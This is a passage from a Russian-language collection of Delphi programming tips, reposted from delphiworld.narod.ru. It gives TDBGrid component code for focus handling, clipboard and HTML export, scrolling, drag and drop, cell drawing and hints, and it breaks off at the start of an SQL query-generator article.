        S:= MyReadString('Campi_Ordine', 'Campo'+IntToStr(i));
        j:= MyReadInteger('Campi_Size', 'Campo'+IntToStr(i));
        Table1.FieldByName(S).index := i-1;
        Table1.FieldByName(S).DisplayWidth := j;
      end;
    end;
  finally
    Ini.Free;
  end;
end;

Взято с http://delphiworld.narod.ru


Решение проблемы передачи фокуса TDBGrid

В данном документе содержится решение проблемы невозможности получения DBGrid-ом фокуса после щелчка на каком-либо элементе управления родительской формы, в то время, как DBGrid находится на ее дочерней MDI-форме.

Относится ко всем версиям Delphi

Очевидно, DBGrid имеет некоторые проблемы с управлением фокусом, если он находится на дочерней MDI-форме. Эта проблема решена в приведенном ниже наследнике TDBGrid, в котором обрабатываются мышиные сообщения и выясняется когда фокус должен быть передан сетке. Наследник создан в виде компонента, который легко устанавливается в Палитру Компонентов. Примечание: код адаптирован для всех версий Delphi. Проблемы могут быть в Delphi 2 и 3, если вы забудете заменить устаревшие в этих версиях модули "winprocs" и "wintypes" на "windows."

unit FixedDBGrid;

interface

uses

  Winprocs, wintypes, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, Grids, DBGrids;

type

  TFixedDBGrid = class(TDBGrid)
  private
    { Private declarations }
  protected
    { Protected declarations }
  public
    { Public declarations }
    procedure WMRButtonDown(var Message: TWMRButtonDown); message
      WM_RBUTTONDOWN;
    procedure WMLButtonDown(var Message: TWMLButtonDown); message
      WM_LBUTTONDOWN;
  published
    { Published declarations }
  end;

procedure Register;

implementation

procedure TFixedDBGrid.WMRButtonDown(var Message: TWMRButtonDown);
begin

  winprocs.SetFocus(handle); {помните, что winprocs относится только к Delphi 1!}
  inherited;
end;

procedure TFixedDBGrid.WMLButtonDown(var Message: TWMLButtonDown);
begin

  winprocs.SetFocus(handle); {помните, что winprocs относится только к Delphi 1!}
  inherited;
end;

procedure Register;
begin

  RegisterComponents('Samples', [TFixedDBGrid]);
end;

end.

Взято с http://delphiworld.narod.ru


Копирование информации из DBGrid-а в Clipboard

Простая процедура копирования информации из DBGrid-а в Clipboard может существенно облегчить жизнь при реализации требований экспорта выборок данных во внешние приемники. Удобнее вызов "прицепить" к контекстному меню грида.

unit UnGridToClb;

interface

uses
  Windows, SysUtils, Classes, Dialogs,
  Grids, DBGrids, Db, DBTables, ClipBrd;

procedure CopyGRDToClb(dbg: TDBGrid);

// Копирует DBGrid в буфер обмена,
// после чего данные отлично переносятся
// как в простой текстовый редактор, так и в Excell

implementation

procedure CopyGRDToClb(dbg: TDBGrid);
var
  bm: TBookMark;
  pch, pch1: PChar;
  s, s2: string;
  i, j: integer;
begin
  s := '';
  for j := 0 to dbg.Columns.Count - 1 do
    s := s + dbg.Columns.Items[j].Title.Caption + #9;
  s := s + #13 + #10;
  if not dbg.DataSource.DataSet.active then
  begin
    ShowMessage('Нет выборки!!!');
    Exit;
  end;
  try
    dbg.Visible := False; //Делаем грид невидимым, чтобы не тратилось время
    //на его перерисовку при прокрутке DataSet - просто и
    //эффективно
    bm := dbg.DataSource.DataSet.GetBookmark; // для того чтобы не
    // потерять текущую запись
    dbg.DataSource.DataSet.First;
    while not dbg.DataSource.DataSet.EOF do
    begin
      s2 := '';
      for j := 0 to dbg.Columns.Count - 1 do
      begin
        s2 := s2 + dbg.Columns.Items[j].Field.AsString + #9;
      end;
      s := s + s2 + #13 + #10;
      dbg.DataSource.DataSet.Next;
    end;
    //Переключаем клавиатуру "в русский режим",
    //иначе - проблемы с кодировкой
    GetMem(pch, 100);
    GetMem(pch1, 100);
    GetKeyboardLayoutName(pch);
    StrCopy(pch1, pch);
    while pch <> '00000419' do
    begin
      ActivateKeyboardLayout(HKL_NEXT, 0);
      GetKeyboardLayoutName(pch);
      if strComp(pch, pch1) = 0 then
        //Круг замкнулся - нет такого языка '00000419'
        StrCopy(pch, '00000419');
    end;

    clipboard.AsText := s; //Данные - в буфер!!!

    //Возвращаем режим клавиатуры
    while strComp(pch, pch1) <> 0 do
    begin
      ActivateKeyboardLayout(HKL_NEXT, 0);
      GetKeyboardLayoutName(pch);
    end;

    FreeMem(pch);
    FreeMem(pch1);

    dbg.DataSource.DataSet.GotoBookmark(bm);
    //ShowMessage('Данные успешно скопированы в буфер обмена.');
  finally
    dbg.Visible := True;
  end;
end;

end.

Взято с http://delphiworld.narod.ru


Экспортировать DBGrid в HTML

type
 TGridToHTMLOption = (ghWithHeaders);
 TGridToHTMLOptions = set of TGridToHTMLOption;

function DBGridToHTML(Grid : TDBGrid;
  ExportOptions: TGridToHTMLOptions): String;
const
  HTMLStart =
   '< !DOCTYPE HTML PUBLIC " -//W3C//DTD HTML 4.0 Transitional//EN" > '#13
+
   '< HTML> '#13 +
   '< HEAD> < META http-equiv=Content-Type content=" text/html;
charset=windows-1251" > '#13 +
   '< STYLE> '#13 +
   'BODY {'#13 +
   ' BACKGROUND: white;'#13 +
   ' COLOR: black;'#13 +
   ' FONT-FAMILY: arial;'#13 +
   ' FONT-SIZE: 8pt;'#13 +
   ' VERTICAL-ALIGN: top'#13 +
   '}'#13 +
   'TABLE {'#13 +
   ' BACKGROUND: white;'#13 +
   ' BORDER-BOTTOM: silver 0px solid;'#13 +
   ' BORDER-LEFT: silver 1px solid;'#13 +
   ' BORDER-RIGHT: silver 0px solid;'#13 +
   ' BORDER-TOP: silver 1px solid;'#13 +
   ' FONT-FAMILY: arial;'#13 +
   ' FONT-SIZE: 8pt;'#13 +
   ' FONT-WEIGHT: normal;'#13 +
   '}'#13 +
   'TD {'#13 +
   ' BORDER-BOTTOM: silver 1px solid;'#13 +
   ' BORDER-LEFT: silver 0px solid;'#13 +
   ' BORDER-RIGHT: silver 1px solid;'#13 +
   ' BORDER-TOP: silver 0px solid;'#13 +
   ' VERTICAL-ALIGN: top;'#13 +
   ' TEXT-ALIGN: left;'#13 +
   '}'#13 +
   'TD.grid {'#13 +
   ' TEXT-ALIGN: left;'#13 +
   '}'#13 +
   'TD.gridr {'#13 +
   ' TEXT-ALIGN: right;'#13 +
   '}'#13 +
   'TD.gridc {'#13 +
   ' TEXT-ALIGN: center;'#13 +
   '}'#13 +
   'TH {'#13 +
   ' BACKGROUND: silver;'#13 +
   ' BORDER-BOTTOM: gray 1px solid;'#13 +
   ' BORDER-LEFT: gray 0px solid;'#13 +
   ' BORDER-RIGHT: gray 1px solid;'#13 +
   ' BORDER-TOP: gray 0px solid;'#13 +
   ' FONT-WEIGHT: bold;'#13 +
   '}'#13 +
   'TH.grid {'#13 +
   ' TEXT-ALIGN: left;'#13 +
   '}'#13 +
   'TH.gridr {'#13 +
   ' TEXT-ALIGN: right;'#13 +
   '}'#13 +
   'TH.gridc {'#13 +
   ' TEXT-ALIGN: center;'#13 +
   '}'#13 +
   '< /STYLE> '#13 +
   '< TITLE> Печать таблицы< /TITLE> '#13 +
   '< /HEAD> '#13 +
   '< BODY> '#13;
  HTMLEnd = '< /BODY> < /HTML> ';
  TableStart = '< TABLE WIDTH=" 100%"  CELLSPACING=0 CELLPADDING=1> '#13;
  TableEnd = '< /TABLE> '#13;
  HeaderRowStart = '< TR> '#13;
  HeaderRowEnd = '< /TR> '#13;
  BodyRowStart = '< TR> '#13;
  BodyRowEnd = '< /TR> '#13;

const
  StyleNames: array [TAlignment] of String = ('grid', 'gridr',
'gridc');

  function TD(Column: TColumn; IsTitle: Boolean; Widht: Integer):
String;
  var
    S: String;
    Align: TAlignment;
    Tag: String;
  begin
    if IsTitle then begin
      Tag := 'TH';
      Align := Column.Title.Alignment;
      S := StyleNames[Align];
    end else begin
      Tag := 'TD';
      Align := Column.Alignment;
      if Align = taLeftJustify then begin
        if (Column.Field is TBCDField) or
           (Column.Field is TCurrencyField) then
          Align := taRightJustify;
        if (Column.Field is TBooleanField) then
          Align := taCenter;
      end;
      S := StyleNames[Align];
      if (Column.Field is TBCDField) or (Column.Field is
TIntegerField) then
        S := S + ' NOWRAP'
    end;
    if Widht >  0 then
      S := S + Format(' WIDTH=" %d%%" ', [Widht]);
    Result := '< ' + Tag + ' class=' + S + '> ';
    if IsTitle then begin
      S := Column.Title.Caption
    end else begin
      if Column.Field is TBooleanField then
      with TBooleanField(Column.Field) do begin
        if Length(DisplayValues) = 0 then begin
          if AsBoolean then
            S := 'да'
          else
            S := 'нет';
        end else
          S := Column.Field.DisplayText;
      end else
        S := Column.Field.DisplayText;
    end;
    if Length(Trim(S)) = 0 then
      S := ' ';
    Result := Result + S + '< /' + Tag + '> '#13;
  end;

var
 BM : String;
 I : Integer;
 Widhts: array of Integer;
 TotalWidht: Integer;
begin
  Result := '';
  with Grid  do begin
    if Assigned(DataSource) and
       Assigned(DataSource.DataSet) and
       DataSource.DataSet.Active then
    with DataSource.DataSet do begin
      DisableControls;
      BM := BookMark;
      SetLength(Widhts, Columns.Count);
      TotalWidht := 0;
      for I := 0 to Pred(Columns.Count) do begin
        if Assigned(Columns[I].Field) then begin
          Widhts[I] := Columns[I].Width;
          Inc(TotalWidht, Widhts[I]);
        end;
      end;
      for I := 0 to High(Widhts) do begin
        Widhts[I] := Widhts[I] * 100 div TotalWidht;
      end;
      Result := HTMLStart;
      Result := Result + TableStart;
      if (ghWithHeaders in ExportOptions) then begin
        Result := Result + HeaderRowStart;
        for I := 0 to Pred(Columns.Count) do begin
          if Assigned(Columns.Items[I].Field) then begin
            Result := Result + TD(Columns.Items[I], TRUE, Widhts[I]);
          end;
        end;
        Result := Result + HeaderRowEnd;
      end;
      First;
      while not Eof do begin
        Result := Result + BodyRowStart;
        for I := 0 to Pred( Columns.Count ) do begin
          if Assigned(Columns.Items[I].Field) then begin
            Result := Result + TD(Columns.Items[I], FALSE,
-1{Integer(Widhts[Index]});
          end;
        end;
        Result := Result + BodyRowEnd;
        Next;
      end;
      Result := Result + TableEnd + HTMLEnd;
      BookMark := BM;
      EnableControls;
    end;
  end;
end;


Перемещение по таблице с помощью вертикальной полосы прокрутки

Это небольшое исправление к исходному коду VCL, позволяющее поддерживать перемещение по таблице с помощью изменения позиции движка вертикальной полосы прокрутки.

(Примечание: это работает только с таблицами Paradox и BDE. Для использования этого кода с другими таблицами/движками вам необходимо заменить DBIGetSeqNo на функцию, надежно возвращающую текущую позицию записи вне зависимости от того, использует ли таблица индекс или нет.)

В DBGRID.PAS измените две следующих процедуры:

procedure TCustomDBGrid.UpdateScrollBar;
var
  Pos: Integer;
  mPos, mMax: longint;
begin
  if FDatalink.Active and HandleAllocated then
    with FDatalink.DataSet do
    begin
      UpdateCursorPos;
      if (DBIGetSeqNo(Handle, mPos) = DBIERR_NONE) then
      begin
        mMax := RecordCount;
        while mMax > 1000 do
        begin
          mMax := mMax div 10;
          mPos := mPos div 10;
        end;
        SetScrollRange(Self.Handle, SB_VERT, 1, mMax, False);
      end
      else
      begin
        if BOF then
          mPos := 0
        else if EOF then
          mPos := 4
        else
          mPos := 2;
        SetScrollRange(Self.Handle, SB_VERT, 0, 4, False);
      end; (**)
      if GetScrollPos(Self.Handle, SB_VERT) <> mPos then
        SetScrollPos(Self.Handle, SB_VERT, mPos, True);
    end;
end;

procedure TCustomDBGrid.WMVScroll(var Message: TWMVScroll);
var
  mMin, mMax: integer;
  RecCount, RecNo, NewRecNo: longint;
begin
  if not AcquireFocus then
    Exit;
  if FDatalink.Active then
    with Message, FDataLink.DataSet, FDatalink do
      case ScrollCode of
        SB_LINEUP: MoveBy(-ActiveRecord - 1);
        SB_LINEDOWN: MoveBy(RecordCount - ActiveRecord);
        SB_PAGEUP: MoveBy(-VisibleRowCount);
        SB_PAGEDOWN: MoveBy(VisibleRowCount);
        SB_THUMBPOSITION:
          if (DBIGetSeqNo(Handle, RecNo) = DBIERR_NONE) then
          begin
            GetScrollRange(self.Handle, SB_VERT, mMin, mMax);
            NewRecNo := Pos * (FDataLink.DataSet.RecordCount div mMax);
            MoveBy(NewRecNo - RecNo);
          end
          else
            case Pos of
              0: First;
              1: MoveBy(-VisibleRowCount);
              2: Exit;
              3: MoveBy(VisibleRowCount);
              4: Last;
            end;
        SB_BOTTOM: Last;
        SB_TOP: First;
      end;
end;

Имейте в виду, что из-за небольшой ошибки в VCL (MoveBy использует integer-параметр вместо longint), могут быть проблемы с большими таблицами (RecordCount>MaxInt). Объяснение этому факту я нашел в журнале Delphi Magazine. Для больших таблиц вы должны заменить вызовы MoveBy на DBISetToSeqNo или DBIGetRelativeRecord. Не забудьте после данного вызова вызвать Resnyc([]) или Refresh!

P.S. Пока вы ковыряетесь в DBGRIDS.PAS: найдите и замените TitleColor на FixedColor в TCustomDBGrid.Create и в TCustomDBGrid.DrawCell. Значение свойства FixedColor влияет на показ заголовков колонок, и они будут выводится как и ожидалось.

Взято с http://delphiworld.narod.ru


Кам при прокрутке зафиксировать левое поле сетки?

unit Fcdgrid;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Grids, DBGrids, DBCtrls, DB, Menus;

type
  TFixedColDBGrid = class(TDBGrid)
  private
    FUserFixedCols: Integer;
  protected
    procedure LayoutChanged; override;
    procedure SetUserFixedCols(I: Integer);

  published
    property UserFixedCols: Integer read FUserFixedCols write SetUserFixedCols;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Data Controls', [TFixedColDBGrid]);
end;

procedure TFixedColDBGrid.LayoutChanged;
begin
  inherited LayoutChanged; {   присваиваем FixedCols 1 если индикатор, иначе 0 }
  if ((inherited FixedCols + FUserFixedCols) < inherited ColCount) then
    inherited FixedCols := (FUserFixedCols + inherited FixedCols);
end;

procedure TFixedColDBGrid.SetUserFixedCols(I: Integer);
begin
  FUserFixedCols := I;
  LayoutChanged;
end;

end.

Взято с http://delphiworld.narod.ru


DBGrid с номером строки

unit RowGrid;

interface

uses
  WinTypes, WinProcs, Classes, Grids, DBGrids;

type
  TRowDBGrid = class(TDBGrid)
  public
    property Row;
    property RowCount;
    property VisibleRowCount;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Data Controls', [TRowDBGrid]);
end;

end.

{вот небольшой испытательный демо-проект.. мы
поместили на форму нашу сетку-наследницу, 3 компонента
EditBox и поместили следующий код в обработчик события
ondrawdatacell вашего TRowGrid}
procedure TForm1.RowDBGrid1DrawDataCell(Sender: TObject; const Rect:
  TRect; Field: TField; State: TGridDrawState);
begin
  eb_row.text := inttostr(rowdbgrid1.row);
  eb_rowcount.text := inttostr(rowdbgrid1.rowcount);
  eb_visiblerowcount.text := inttostr(rowdbgrid1.visiblerowcount);
end;

Взято с http://delphiworld.narod.ru


Как удалить вертикальную полосу прокрутки (скроллбар) из DBGrid?

Для этого необходимо переопределить метод Paint. Внутри метода Paint Вы должны вызвать API процедуру SetScrollRange для установки минимального и максимального значений скроллирования в ноль (тем самым запретив скроллбар), а затем вызвать inherited. Следующий код, это unit содержащий новый компонент под названием TNoScrollBarDBGrid, который делает это.

type
  TNoScrollBarDBGrid = class(TDBGrid)
  protected
    procedure Paint; override;
end;

procedure register;

implementation

procedure register;
begin
  RegisterComponents('Samples', [TNoScrollBarDBGrid]);
end;

{ TNoScrollBarDBGrid }

procedure TNoScrollBarDBGrid.Paint;
begin
  SetScrollRange(Handle, SB_VERT, 0, 0, false);
  inherited;
end;

Взято с http://delphiworld.narod.ru


Пример Drag and Drop между двумя DBGrid

Данный пример компонента и демонстрационный проект показывают простой путь осуществления операции "drag and drop" (перетащи и брось) между двумя полями различных табличных сеток.

Запустите Delphi 3 (с незначительными изменениями данный код может работать и в Delphi 1-2).

Активизируйте File|New|Unit. Скопируйте приведенный ниже модуль MyDBGrid во вновь созданный модуль. Сделайте File|Save As. Сохраните модуль как MyDBGrid.pas.

Выберите пункт меню Component|Install Component. Переключитесь на страницу Info New Package. Поместите MyDBGrid.pas в поле редактирования "Unit file name" (имя файла модуля). Назовите модуль MyPackage.dpk. Ответьте Yes на вопрос Delphi 3 о необходимости сборки и установки пакета. Нажмите OK на сообщение Delphi 3 о необходимости включения VCL30.DPL. После этого пакет будет собран и установлен. Теперь компонент TMyDBGrid будет отображен в Палитре Компонентов в группе "Samples". Закройте редактор пакетов и сохраните пакет.

Выберите пункт меню File|New Application. Щелкните правой кнопкой мыши на форме (Form1) и выберите View As Text. Скопируйте приведенный ниже исходный код формы GridU1 в Form1. Щелкните правой кнопкой мыши на форме и выберите View As Form. Убедитесь в активности ваших таблиц. Скопируйте расположенный ниже модуль GridU1 в ваш модуль Unit1.

Выберите пункт меню File|Save Project As. Сохраните модуль как GridU1.pas. Сохраните проект как GridProj.dpr.

Теперь запустите проект и наслаждайтесь функцией Drag and Drop между двумя табличными сетками.

// Модуль MyDBGrid

unit MyDBGrid;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, Grids, DBGrids;

type

  TMyDBGrid = class(TDBGrid)
  private
    { Private declarations }
    FOnMouseDown: TMouseEvent;
  protected
    { Protected declarations }
    procedure MouseDown(Button: TMouseButton; Shift: TShiftState;
      X, Y: Integer); override;
  published
    { Published declarations }
    property Row;
    property OnMouseDown read FOnMouseDown write FOnMouseDown;
  end;

procedure Register;

implementation

procedure TMyDBGrid.MouseDown(Button: TMouseButton;

  Shift: TShiftState; X, Y: Integer);
begin

  if Assigned(FOnMouseDown) then
    FOnMouseDown(Self, Button, Shift, X, Y);
  inherited MouseDown(Button, Shift, X, Y);
end;

procedure Register;
begin

  RegisterComponents('Samples', [TMyDBGrid]);
end;

end.

// Модуль GridU1

unit GridU1;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, Db, DBTables, Grids, DBGrids, MyDBGrid, StdCtrls;

type

  TForm1 = class(TForm)
    MyDBGrid1: TMyDBGrid;
    Table1: TTable;
    DataSource1: TDataSource;
    Table2: TTable;
    DataSource2: TDataSource;
    MyDBGrid2: TMyDBGrid;
    procedure MyDBGrid1MouseDown(Sender: TObject;
      Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
    procedure MyDBGrid1DragOver(Sender, Source: TObject;
      X, Y: Integer; State: TDragState; var Accept: Boolean);
    procedure MyDBGrid1DragDrop(Sender, Source: TObject;
      X, Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

var

  SGC: TGridCoord;

procedure TForm1.MyDBGrid1MouseDown(Sender: TObject;

  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var

  DG: TMyDBGrid;
begin

  DG := Sender as TMyDBGrid;
  SGC := DG.MouseCoord(X, Y);
  if (SGC.X > 0) and (SGC.Y > 0) then
    (Sender as TMyDBGrid).BeginDrag(False);
end;

procedure TForm1.MyDBGrid1DragOver(Sender, Source: TObject;

  X, Y: Integer; State: TDragState; var Accept: Boolean);
var

  GC: TGridCoord;
begin

  GC := (Sender as TMyDBGrid).MouseCoord(X, Y);
  Accept := Source is TMyDBGrid and (GC.X > 0) and (GC.Y > 0);
end;

procedure TForm1.MyDBGrid1DragDrop(Sender, Source: TObject;

  X, Y: Integer);
var

  DG: TMyDBGrid;
  GC: TGridCoord;
  CurRow: Integer;
begin

  DG := Sender as TMyDBGrid;
  GC := DG.MouseCoord(X, Y);
  with DG.DataSource.DataSet do
  begin
    with (Source as TMyDBGrid).DataSource.DataSet do
      Caption := 'Вы перетащили "' + Fields[SGC.X - 1].AsString + '"';
    DisableControls;
    CurRow := DG.Row;
    MoveBy(GC.Y - CurRow);
    Caption := Caption + ' в "' + Fields[GC.X - 1].AsString + '"';
    MoveBy(CurRow - GC.Y);
    EnableControls;
  end;
end;

end.

// Форма GridU1

object Form1: TForm1

  Left = 200
    Top = 108
    Width = 544
    Height = 437
    Caption = 'Form1'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    PixelsPerInch = 96
    TextHeight = 13
    object MyDBGrid1: TMyDBGrid
    Left = 8
      Top = 8
      Width = 521
      Height = 193
      DataSource = DataSource1
      Row = 1
      TabOrder = 0
      TitleFont.Charset = DEFAULT_CHARSET
      TitleFont.Color = clWindowText
      TitleFont.Height = -11
      TitleFont.Name = 'MS Sans Serif'
      TitleFont.Style = []
      OnDragDrop = MyDBGrid1DragDrop
      OnDragOver = MyDBGrid1DragOver
      OnMouseDown = MyDBGrid1MouseDown
  end
  object MyDBGrid2: TMyDBGrid
    Left = 7
      Top = 208
      Width = 521
      Height = 193
      DataSource = DataSource2
      Row = 1
      TabOrder = 1
      TitleFont.Charset = DEFAULT_CHARSET
      TitleFont.Color = clWindowText
      TitleFont.Height = -11
      TitleFont.Name = 'MS Sans Serif'
      TitleFont.Style = []
      OnDragDrop = MyDBGrid1DragDrop
      OnDragOver = MyDBGrid1DragOver
      OnMouseDown = MyDBGrid1MouseDown
  end
  object Table1: TTable
    Active = True
      DatabaseName = 'DBDEMOS'
      TableName = 'ORDERS'
      Left = 104
      Top = 48
  end
  object DataSource1: TDataSource
    DataSet = Table1
      Left = 136
      Top = 48
  end
  object Table2: TTable
    Active = True
      DatabaseName = 'DBDEMOS'
      TableName = 'CUSTOMER'
      Left = 104
      Top = 240
  end
  object DataSource2: TDataSource
    DataSet = Table2
      Left = 136
      Top = 240
  end
end

Взято с http://delphiworld.narod.ru


Перемещение из DbGrid

Кто-нибудь пробовал перемещать что-либо из DbGrid методом перетащи и брось (drag and drop)? Вы сами можете создать потомка TDBGrid (или TDBCustomGrid) и добавить необходимую функциональность для достижения цели.

Скопируйте код из данного "Совета", сохраните его с именем DBGrid.pas и установите компонент в палитру. У Вас появится новый компонент EDBGrid с двумя новыми событиями: OnMouseDown и OnMouseUp. Я не считаю эту информацию конфиденциальной: это ошибка разработчиков Delphi! На самом деле эти два события должны быть частью компонента DBGrid.

unit Dbgrid;

interface

uses

  DBGrids, Controls, Classes;

type

  TEDBGrid = class(TDBGrid)
  private
    FOnMouseDown: TMouseEvent;
    FOnMouseUp: TMouseEvent;
  protected
    procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y:
      Integer); override;

    procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y:
      Integer); override;

  published
    property OnMouseDown: TMouseEvent read FOnMouseDown write
      FOnMouseDown;

    property OnMouseUp: TMouseEvent read FOnMouseUp write FOnMouseUp;
  end;

procedure Register;

implementation

procedure Register;
begin

  RegisterComponents('Data Controls', [TEDBGrid]);
end;

procedure TEDBGrid.MouseDown(Button: TMouseButton; Shift: TShiftState;
  X, Y: Integer);
begin

  if Assigned(FOnMouseDown) then
    FOnMouseDown(Self, Button, Shift, X, Y);
  inherited MouseDown(Button, Shift, X, Y);
end;

procedure TEDBGrid.MouseUp(Button: TMouseButton; Shift: TShiftState; X,
  Y: Integer);
begin

  if Assigned(FOnMouseUp) then
    FOnMouseUp(Self, Button, Shift, X, Y);
  inherited MouseUp(Button, Shift, X, Y);
end;

end.

Взято с http://delphiworld.narod.ru


Рисование текста в DBGrid

Следующий метод может быть использован в качестве обработчика события TDBGrid.OnDrawDataCell. Он демонстрирует способ рисования текста в колонке цветом, отличным от цвета текста в остальной части табличной сетки.

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect:
  TRect; Field: TField; State: TGridDrawState);
  { ПРИМЕЧАНИЕ: Свойство DefaultDrawing компонента
  Grid должно быть установлено в False }
begin
  { если имя поля - "NAME" }
  if Field.FieldName = 'NAME' then
    { изменяем цвет шрифта на красный }
    (Sender as TDBGrid).Canvas.Font.Color := clRed;
  { выводим текст в табличной сетке }
  (Sender as TDBGrid).Canvas.TextRect(Rect, Rect.Left + 2,
    Rect.Top + 2, Field.AsString);
end;

Взято с http://delphiworld.narod.ru

Для отображения таблицы я использую DBGrid. Для некоторых полей я хочу применить другой шрифт, размер, цвет...

Вам необходимо обработать событие OnDrawDataCell, например так:

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const
  Rect: TRect; Field: TField; State: TGridDrawState);
begin
  if Field.FieldName = 'SERIAL' then
    if (Field as TStringField).Value = 'НЕИЗВЕСТНО' then
      with (Sender as TDBGrid).Canvas do
      begin
        Brush.Color := clRed;
        Font.Style := [fsItalic];
        Font.Color := clAqua;
        FillRect(Rect);
        TextOut(Rect.Left, Rect.Top, Field.AsString);
      end;
end;

....BTW, выключите DefaultDrawing.

Взято с http://delphiworld.narod.ru


Использование Enter как Tab в TDBGrid

Приведу код, позволяющий использовать нажатие клавиши Enter как клавиши Tab пока управление находится в табличной сетке.

Данный код включает обработку клавиши Enter для всего приложения, включая поля и пр.. Код для работы с компонентом DBGrid заключен в блок ELSE. Приведенный код не имитирует поведение клавиши Tab, связанное с переходом на следующую запись когда курсор достигает последней колонки табличной сетки, в нашем случае он перемещается на первую колонку.

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
{ Это обработчик события OnKeyPress для ФОРМЫ! }
{ Вы должны также установить свойство формы KeyPreview в True }
begin
  if Key = #13 then { если это клавиша Enter }
    if not (ActiveControl is TDBGrid) then
    begin { если не на TDBGrid }
      Key := #0; { гасим клавишу Enter }
      Perform(WM_NEXTDLGCTL, 0, 0);
        { перемещаемя на следующий элемент управления }
    end
    else if (ActiveControl is TDBGrid) then { если это TDBGrid }
      with TDBGrid(ActiveControl) do
        if selectedindex < (fieldcount - 1) then { увеличиваем поле }
          selectedindex := selectedindex + 1
        else
          selectedindex := 0;
end;

Взято с http://delphiworld.narod.ru


Как вывести Hint для ячейки DBGrid

Создайте на форме DataSource1, Table1, DataSource2, Table2, DBGrid1. Table1 и Table2 свяжите со своей базой данных. DataSource1 и DataSource2 свяжите соответственно с Table1 и Table2. DBGrid1 свяжите с DataSource1 Table2 и DataSource2 нужны для доступа к какой-нибудь ячейке. Другой способ без их использования: при отрисовке значений ячеек (соответствующее событие), необходимо запомнить значения всех ячеек, находящихся на экране и производить выбор среди них.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, Grids, DBGrids, Db, DBTables;

type
  TForm1 = class(TForm)
    DataSource1: TDataSource;
    Table1: TTable;
    DBGrid1: TDBGrid;
    Table2: TTable;
    DataSource2: TDataSource;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    procedure AppMess(var Msg: TMsg; var Handled: Boolean);
  public
    { Public declarations }
end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.AppMess(var Msg: TMsg; var Handled: Boolean);
var
  X, Y: integer;
  gpt: TGridCoord;
  s: string;
  w, len: integer;
begin
  if Msg.message=WM_MOUSEMOVE then
  begin
    if Msg.hwnd=DBGrid1.Handle then
    begin
      x:=LoWord(Msg.lParam);
      y:=HiWord(Msg.lParam);
      gpt:=DBGrid1.MouseCoord(x,y);
      {получить строку и солбец, в которых находится курсор}
      if (gpt.x>0) and (gpt.y>0) then
      begin
        DataSource2.DataSet.First;
        DataSource2.DataSet.MoveBy(gpt.y-1);
        s:=Table2.Fields[gpt.x-1].asString;
        w:=DBGrid1.Columns[gpt.x-1].Width;
        {получить ширину столбца}
        len:=DBGrid1.Canvas.TextWidth(s);
        {получить длину строки в пикселах}
        if len > w then
          DBGrid1.Hint:=s;
        else
          DBGrid1.Hint:='';
      end;
    end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  DBGrid1.ShowHint := True;
  Application.OnMessage := AppMess;
end;

end.

Взято с http://delphiworld.narod.ru


Симуляция нажатия кнопки при наличии DBGrid

В случае нажатия клавиши Enter, клавиша по умолчанию не срабатывает, если у вас на форме расположен компонент DBGrid, но вы можете создать обработчик события DBGrid OnKeypUp, уведомляющий кнопку по умолчанию о ее "нажатии" при реальном нажатии клавиши Enter. Пример:

{Код DBGrid OnKeyUp. Default-кнопка - BitBtn1.}
if Key = VK_RETURN then
begin
  PostMessage(BitBtn1.Handle, WM_LBUTTONDOWN, Word(0), LongInt(0)) ;
  PostMessage(BitBtn1.Handle, WM_LBUTTONUP, Word(0), LongInt(0)) ;
end ;

Взято с http://delphiworld.narod.ru


Работа с SQL

Cодержание раздела:

Генератор SQL-запросов Insert/Update
SQL-запросы в Delphi
Как создать таблицу через SQL?
Локальные операторы языка SQL (BDE)
Синтаксис SQL-функции Substring
Как получить результирующим полем разницу между хранимой датой и текущей датой
Основы языка SQL (статья) New!
Интерактивные SQL-запросы New!

См. также статьи в других разделах:
Cписок зарезервированных слов Local SQL BDE
Help по синтаксису SQL для MS Access (DAO/ADO/ODBC)


Генератор SQL-запросов Insert/Update

Автор: Mike Heydon

Вам ещё не надоело динамически генерировать SQL запросы insert и update ? Давайте посмотрим, как можно раз и навсегда упростить этот процесс.

Допустим Вы создавали запрос следующим образом (типы параметров Data1:string Data2: integer Data3:TdateTime)

SqlCmd := 'insert into MyTable (Field1,Field2,Field2) values (' +
                QuotedStr(Data1) + ',' + IntToStr(Data2) + ',' + 'to_date('
                + QuotedStr(FormatdateTime('dd/mm/yyyy',Data3)) + ','
                + QuotedStr('dd/mm/yyyy') + '))';

{Ужасно! ещё хуже, когда количество колонок увеличивается}

А если сделать функцию типа ..

SqlCmd := SqlInsert([Data1,Data2,Variant(Data3)],
                   'MyTable',
                   ['Field1','Field2','Field3']);

она эмулирует строку запроса наподобие ..

insert into MyTable
(Fields1,Field2,Field3)
values ('Sweets',934,to_date('21/05/2001','dd/mm/yyyy'))

неправда ли она более проста в использовании ?

Здесь представлены функции SqlInsert и SqlUpdate. Вы наверное заметили, что я передаю TDateTime приведённый как Variant. Причина кроется в том, что VType в array of const не имеете TDateTime типа и даты просто представлены как vtExtended.

Функция SqlInsert имеет 2 переопределённых вызова, которые позволяют Вам включить или выполнить массив имён колонок.

Посмотрим, как выглядят эти функции:

interface

const CrLf = #13#10;  // Возврат и перевод каретки

// Прототипы функций

function SqlInsert(Values : array of const;
